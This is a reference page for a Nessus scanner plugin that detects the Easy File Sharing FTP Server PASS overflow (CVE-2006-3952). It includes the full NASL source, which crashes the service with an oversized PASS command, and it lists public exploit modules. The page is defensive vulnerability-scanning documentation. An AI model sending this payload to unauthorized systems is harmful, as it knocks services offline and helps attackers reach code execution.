Easy File Sharing FTP Server PASS Command Overflow - Nessus

High   Plugin ID: 24021

This page contains detailed information about the Easy File Sharing FTP Server PASS Command Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 24021
Name: Easy File Sharing FTP Server PASS Command Overflow
Filename: efs_ftp_server_pass_overflow.nasl
Vulnerability Published: 2006-07-31
This Plugin Published: 2007-01-17
Last Modification Time: 2018-07-10
Plugin Version: 1.19
Plugin Type: remote
Plugin Family: FTP
Dependencies: ftpserver_detect_type_nd_version.nasl
Excluded KB Items [?]: global_settings/supplied_logins_only

Vulnerability Information


Severity: High
Vulnerability Published: 2006-07-31
Patch Published: N/A
CVE [?]: CVE-2006-3952
CPE [?]: N/A

Synopsis

The remote FTP server is affected by a buffer overflow vulnerability.

Description

The remote host appears to be using Easy File Sharing FTP Server, an FTP server for Windows.

The version of Easy File Sharing FTP Server installed on the remote host contains a stack-based buffer overflow vulnerability that can be exploited by an unauthenticated attacker with a specially crafted PASS command to crash the affected application or execute arbitrary code on the affected host.

Solution

Unknown at this time.

Public Exploits


Target Network Port(s): 21
Target Asset(s): Services/ftp
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Easy File Sharing FTP Server PASS Command Overflow vulnerability:

  1. Metasploit: exploit/windows/ftp/easyfilesharing_pass
    [Easy File Sharing FTP Server 2.0 PASS Overflow]
  2. Exploit-DB: exploits/windows/remote/2234.py
    [EDB-2234: Easy File Sharing FTP Server 2.0 - 'PASS' Remote]
  3. Exploit-DB: exploits/windows/remote/16742.rb
    [EDB-16742: Easy File Sharing FTP Server 2.0 - PASS Overflow (Metasploit)]
  4. Exploit-DB: exploits/windows/remote/33538.py
    [EDB-33538: Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow]
  5. GitHub: https://github.com/adenkiewicz/CVE-2006-3592
    [CVE-2006-3952]
  6. GitHub: https://github.com/kurniawandata/exploiteasyfilesharingftp
    [CVE-2006-3952]
  7. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the efs_ftp_server_pass_overflow.nasl nessus plugin source code. This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(24021);
  script_version("1.19");
  script_cvs_date("Date: 2018/07/10 14:27:33");

  script_cve_id("CVE-2006-3952");
  script_bugtraq_id(19243);
  script_xref(name:"EDB-ID", value:"2234");
  script_xref(name:"EDB-ID", value:"33538");

  script_name(english:"Easy File Sharing FTP Server PASS Command Overflow");
  script_summary(english:"Checks for PASS command buffer overflow vulnerability in EFS FTP Server");

  script_set_attribute(attribute:"synopsis", value:"The remote FTP server is affected by a buffer overflow vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be using Easy File Sharing FTP Server, an
FTP server for Windows.

The version of Easy File Sharing FTP Server installed on the remote
host contains a stack-based buffer overflow vulnerability that can be
exploited by an unauthenticated attacker with a specially crafted PASS
command to crash the affected application or execute arbitrary code on
the affected host.");
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Easy File Sharing FTP Server 2.0 PASS Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/07/31");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/01/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"FTP");
  script_copyright(english:"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ftp", 21);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("ftp_func.inc");
include("misc_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_ftp_port(default: 21);

# Make sure the banner indicates it's WFTPD.
banner = get_ftp_banner(port:port);
if (!banner || "Easy File Sharing FTP Server" >!< banner)
 exit(0, "The FTP server on port "+port+" is not Easy File Sharing.");


soc = open_sock_tcp(port);
if (!soc) exit(1, "Cannot connect to TCP port "+port+".");
s = ftp_recv_line(socket:soc);


# Try to exploit the flaw to crash the daemon.
user = get_kb_item("ftp/login");
if (!user) user = "anonymous";

c = strcat("USER ", user);
send(socket:soc, data: c+'\r\n');
s = ftp_recv_line(socket:soc);

if (s && '331 username ok, need password.' >< s) {
  exploit = strcat(",", crap(2571));
  c = strcat("PASS ", exploit);
  send(socket:soc, data: c+'\r\n');
  s = ftp_recv_line(socket:soc);
  close(soc);
  if (s) exit(0);

  # Check whether the server is down.
  if (service_is_dead(port: port, exit: 1) > 0)
    security_hole(port);
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/efs_ftp_server_pass_overflow.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\efs_ftp_server_pass_overflow.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/efs_ftp_server_pass_overflow.nasl

Go back to menu.

How to Run


Here is how to run the Easy File Sharing FTP Server PASS Command Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select FTP plugin family.
  6. On the right side table select Easy File Sharing FTP Server PASS Command Overflow plugin ID 24021.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl efs_ftp_server_pass_overflow.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a efs_ftp_server_pass_overflow.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - efs_ftp_server_pass_overflow.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state efs_ftp_server_pass_overflow.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 23636 - Easy File Sharing Web Server Crafted Request ADS Arbitrary File Access
  • 66968 - FreeBSD : cURL library -- heap corruption in curl_easy_unescape (01cf67b3-dc3b-11e2-a6cd-c48508086173)
  • 55832 - HP Easy Printer Care Software ActiveX Control Remote Code Execution Vulnerabilities
  • 23774 - PHP Easy Download admin/save.php moreinfo Parameter Code Injection
  • 14195 - 4D WebStar Pre-authentication FTP Overflow
  • 15628 - Ability FTP Server Multiple Command Remote Buffer Overflows
  • 11205 - WarFTPd CWD/MKD Command Overflow
  • 11207 - WarFTPd USER/PASS Command Remote Overflow
  • 10084 - Multiple FTP Server Command Handling Overflow
  • 12080 - Serv-U MDTM Command Overflow
  • 18627 - GlobalSCAPE Secure FTP Server User Input Overflow
  • 18402 - Hummingbird InetD FTP Component (ftpdw.exe) Command Overflow
  • 40825 - MS09-053: Microsoft IIS FTPd NLST Command Remote Buffer Overflow (975191) (uncredentialed check)
  • 18142 - Intersoft NetTerm Netftpd USER Command Remote Overflow
  • 17718 - ProFTPD < 1.3.1rc1 mod_ctrls Module pr_ctrls_recv_request Function Local Overflow
  • 51366 - ProFTPD < 1.3.3d 'mod_sql' Buffer Overflow
  • 70446 - ProFTPD TELNET IAC Escape Sequence Remote Buffer Overflow
  • 15704 - SlimFTPd Multiple Command Handling Overflow
  • 15857 - WS_FTP Server Multiple Command Remote Overflow DoS

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file efs_ftp_server_pass_overflow.nasl version 1.19. For more plugins, visit the Nessus Plugin Library.

Go back to menu.